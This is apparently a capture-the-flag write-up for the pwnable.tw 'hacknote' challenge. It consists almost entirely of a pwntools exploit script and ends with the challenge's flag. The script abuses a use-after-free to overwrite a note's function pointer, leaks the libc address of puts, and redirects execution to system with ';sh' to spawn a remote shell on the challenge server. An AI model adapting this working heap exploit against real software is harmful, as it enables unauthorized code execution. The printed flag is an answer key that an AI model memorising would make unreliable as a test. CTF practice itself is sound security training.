[pwnable.tw] hacknote write-up
from pwn import *
s = remote("chall.pwnable.tw", 10102)
e = ELF("./hacknote")
lib = ELF("./libc_32.so.6")
#context.log_level = 'debug'
leakfunc =0x804862B
s.recvuntil(":")
s.sendline('1')
s.recvuntil(":")
s.sendline("1000")
s.recvuntil(":")
s.sendline("hyomin")
s.recvuntil(":")
s.sendline("1")
s.recvuntil(":")
s.sendline("1000")
s.recvuntil(":")
s.sendline("hyomin2")
s.recvuntil(":")
s.sendline("2")
s.recvuntil(":")
s.sendline("1")
s.recvuntil(":")
s.sendline("2")
s.recvuntil(":")
s.sendline("0")
s.recvuntil(":")
s.sendline("1")
s.recvuntil(":")
s.sendline("8")
s.recvuntil(":")
s.sendline(p32(leakfunc)+p32(e.got['puts']))
#s.sendline(p32(e.got['puts'])+"Hel")
s.recvuntil(":")
s.sendline("3")
s.recvuntil(":")
s.sendline("1")
s.recvuntil(":")
libc =hex(u32(s.recv()[:4]))
base = int(libc,16) - int(lib.symbols['puts'])
print("base :"+hex(base))
system = base + lib.symbols['system']
print("system :"+hex(system))
sleep(0.5)
s.sendline("2")
s.recvuntil(":")
s.sendline("2")
s.recvuntil(":")
s.sendline("1")
s.recvuntil(":")
s.sendline("8")
s.recvuntil(":")
s.sendline(p32(system)+";sh;sh")
#s.sendline(p32(leakfunc)+p32(e.got['printf']))
s.recvuntil(":")
s.sendline("3")
s.recvuntil(":")
s.sendline("1")
s.recvuntil("Index :")
s.interactive()
FLAG{Us3_aft3r_fl3333_in_h4ck_not3}